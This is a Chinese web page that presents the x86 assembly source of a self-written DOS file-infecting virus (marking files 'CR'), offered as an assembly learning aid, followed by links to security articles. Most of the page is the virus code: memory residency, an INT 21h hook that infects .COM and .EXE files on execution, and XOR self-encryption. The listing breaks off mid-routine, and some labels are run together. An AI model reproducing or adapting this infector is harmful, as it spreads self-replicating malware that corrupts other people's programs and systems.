这个病毒虽然比较简单。但是麻雀虽小,五脏俱全。隐藏,感染,加密等模块应有尽有(只是不会破坏),是一个比较标准的DOS病毒,可以感染.EXE(不包括PE)和.COM的可执行文件。
如果您希望学习汇编语言,用这个程序作为入门指导倒是比较合适的。
染毒文件会被打上“CR”的标记,我们姑且称它为CR病毒吧。
baseoff equ 107h
codesegment
assume cs:code,ds:code,es:code,ss:code
org 100h
main:
mov ax,offset begin
jmp ax
db ''cr''
begin:
push es
push ds
mov ax,cs
mov ds,ax
mov es,ax
call get_ip
push ax
mov ax,offset encodebegin
jmp short get_ip_end
oldheaddb 0h,4ch,0cdh,21h,6 dup (?)
get_iplabel near
mov bp,sp
mov bx,[bp]
ret
get_ip_end:
sub bx,112h;get current offset
add ax,bx
push ax
pop di
mov si,di
cld
mov cx, offset endtag-offset encodebegin
mov dl, byte ptr [oldhead+bx]
push si
decode:
lodsb
xor al,dl
stosb;decode at runtime
loop decode
retf;retf cs:ip=encodebegin
db 62h
db 65h
encodebegin:
mov ax,9f80h
mov es,ax
cmp es:word ptr [virustag-baseoff],7263h
jz alreadyresident
push ds
mov ax,40h
mov ds,ax
mov di,13h;get free memory
sub word ptr [di],2
pop ds
mov di,0
mov si,bx
add si,baseoff
mov cx,2048
cld
rep movsb;resident in memory
nop
push bx
mov ax,9f80h
mov ds,ax
mov ax,3521h
int 21h
mov ds:word ptr[oldint21-baseoff],bx
mov dx,bx
mov ds:word ptr[oldint21-baseoff+2h],es
mov dx,offset newint21proc-baseoff
mov ax,2521h
int 21h
mov dx,offset newint12proc-baseoff
mov ax,2512h
int 21h
pop bx
alreadyresident:
mov ax,cs
mov ds,ax
mov es,ax
mov si,offset oldhead
add si,bx
mov di,0100h
cmp cs:word ptr oldhead[bx],6163h;this is an infected EXE file
jz GotoExe
cld
mov cx,7
rep movsb
pop ds
pop es
cmp cs:word ptr oldhead[bx],4c00h
jz go_out
GotoOldHead:;this is an infected COM file
mov ax,0100h
jmp ax
GotoExe:
pop ds
pop es
mov ax,ds
add ax,cs:ini_ss[bx];set old ss
add ax,10h
mov ss,ax
mov ax,cs:ini_sp[bx];set old sp
mov sp,ax
mov ax,ds
add ax,10h
add cs:ini_cs[bx],ax;set old cs
jmp cs:dword ptr ini_ip[bx];jump to the normal EXE
go_out:
mov ah,4ch
int 21h
oldint21 dw 2 dup(?)
filehead db 18h dup (?)
filesize dw 2 dup(?)
virustag db ''cr''
infecthead:
mov ax,offset begin
jmp ax
db ''cr''
tempdw ?
ini_ipdw ?
ini_csdw ?
ini_ssdw ?
ini_spdw ?
newint21proc:
cmp ah,4bh
jz tryinfect
jmp int21h
tryinfect:
push ax;begin to infect
push cx
push es
push di
push bx
push dx
push ds
mov ax,3d02h
int 21h
jnc openok
jmp notinfect;open fail? not infect
openok:
push ds
push dx
push cs
pop ds
mov dx,offset filehead-baseoff
mov bx,ax
mov cx,18h
mov ah,3fh
int 21h
pop dx
pop ds
jc closefilenear;read fail? not infect
mov di,offset filehead-baseoff
mov ax,9f80h
mov es,ax
cmp word ptr es:[di],5a4dh;''MZ'' in head? EXE file...
jnz COM_infect
jmp EXE_infect
COM_infect:
cmp word ptr es:[di+5],7263h;''cr'' in 105h? not infect
jz closefilenear
call getfilesize
cmp dx,0
jnz closefilenear; file is too big..not infect
cmp ax,63000
ja closefilenear; file is too big..not infect
cmp ax,10
jb closefilenear; file is too small..not infect
;infect begin,hahahahaha....
jmp infectbegin
closefilenear:
jmp closefile
infectbegin:
mov ax,9f80h
mov ds,ax
mov es,ax
mov si,offset filehead-baseoff
mov di,offset oldhead-baseoff
mov cx,10
cld
rep movsb;save the old file head
call addvirustofile
call mov_ptr_to_head
mov di,offset infecthead-baseoff
mov dx,di
inc di
mov cx,word ptr [filesize-baseoff]
add cx,100h
mov word ptr [di],cx
mov cx,7
mov ah,40h
int 21h
closefile:
mov ah,3eh
int 21h; close the file
notinfect:
pop ds
pop dx
pop bx
pop di
pop es
pop cx
pop ax
int21h:jmp dword ptr cs:[oldint21-baseoff]
getfilesize proc near
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
jc closefile
mov es:word ptr [filesize-baseoff],ax
mov es:word ptr [filesize-baseoff+2],dx;save the file size
ret
getfilesize endp
addvirustofile proc near
xor dx,dx
mov ah,40h
mov cx,offset encodebegin-offset begin
int 21h
jc closefile;write fail... not infect
cmp ax,cx
jb closefile;write fail... not infect
mov cx,(offset endtag-offset encodebegin)/2+(offset endtag-offset encodebegin)MOD 2
mov dl,byte ptr oldhead-baseoff
mov dh,dl
mov di,dx
mov si,offset encodebegin-baseoff
mov dx,offset temp-baseoff
encode_myself:
push cx
lodsw
xor ax,di;encode and then write into file
mov temp-baseoff,ax
mov ah,40h
mov cx,2
int 21h
jc closefile;write fail... not infect
cmp ax,cx
jb closefile;write fail... not infect
pop cx
loop encode_myself
ret
addvirustofile endp
mov_ptr_to_head proc near
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
jc closefile
ret
mov_ptr_to_head endp
EXE_infect proc near
mov ax,es:word ptr[di+2];exe size in the last sector
mov dx,es:word ptr[di+4];total sectors of exe size
push di
dec dx
mov cx,9
xor si,si
get_size_in_head:
shl dx,1
shl si,1
adc si,0
loop get_size_in_head
add dx,ax
adc si,0
mov di,dx
call getfilesize;get the exe file size
cmp dx,si
jnz exe_end_near;not equal(file size and loading size)
cmp dx,0fh;not infect
ja exe_end_near
cmp ax,di
pop di
jnz exe_end_near
jmp begininfectexe
exe_end_near:
jmp exe_end
;begin to infect exe
begininfectexe:
mov ax,writesize+10
mov cl,9
add ax,es:word ptr[di+2];add exe loading size
mov si,ax
and ax,1ffh
mov es:word ptr[di+2],ax
shr si,cl
add es:word ptr[di+4],si
push es
pop ds
mov word ptr[oldhead-baseoff],6163h;write EXE''s tag
mov ax,[di+14h]
mov [ini_ip-baseoff],ax
mov ax,[di+16h]
mov [ini_cs-baseoff],ax
mov ax,[di+10h]
mov [ini_sp-baseoff],ax
mov ax,[di+0eh]
mov [ini_ss-baseoff],ax;save the old ss,sp,cs,ip
push di
call addvirustofile
pop di
call mov_ptr_to_head
mov ax,filesize-baseoff
mov dx,[di+08h]
mov cl,4
shl dx,cl;dx=exe header size
sub ax,dx
push ax
and ax,0fh
mov [di+14h],ax;modify sp,ip
mov [di+10h],writesize+50
add word ptr [di+0ah],writesize/16+1;add the memory needed
pop ax
mov dx,filesize+2-baseoff
mov cl,4
modify_cs:
shr dx,1
rcr ax,1
loop modify_cs
mov [di+16h],ax
mov [di+0eh],ax;modify cs and ss
mov dx,di
mov cx,18h
mov ah,40h
int 21h
自己用汇编语言写的一个病毒
0
相关文章
- 360清理大师颜值飙升 主界面全新改版景保玉 · 2015-03-19
- 针对企业员工的信息安全意识十大建议董建伟 · 2015-02-03
- 绿盟科技NGTP应对勒索病毒CBT-Locker董建伟 · 2015-01-26
- CIO实践:看3W如何玩转上网行为管理董建伟 · 2015-01-22
- 影响企业安全运营中心运营五大陷阱董建伟 · 2014-12-23
- 使用盈世Coremail邮件系统远离安全威胁陕西分站 · 2014-12-10
- 五个步骤帮助企业培养移动安全能手董建伟 · 2014-12-03
- 教你玩转下一代防火墙的流量管理董建伟 · 2014-11-20
- 企业防御APT攻击应掌握四大关键点董建伟 · 2014-11-18
- 如何从海量数据中挖掘威胁情报?董建伟 · 2014-11-03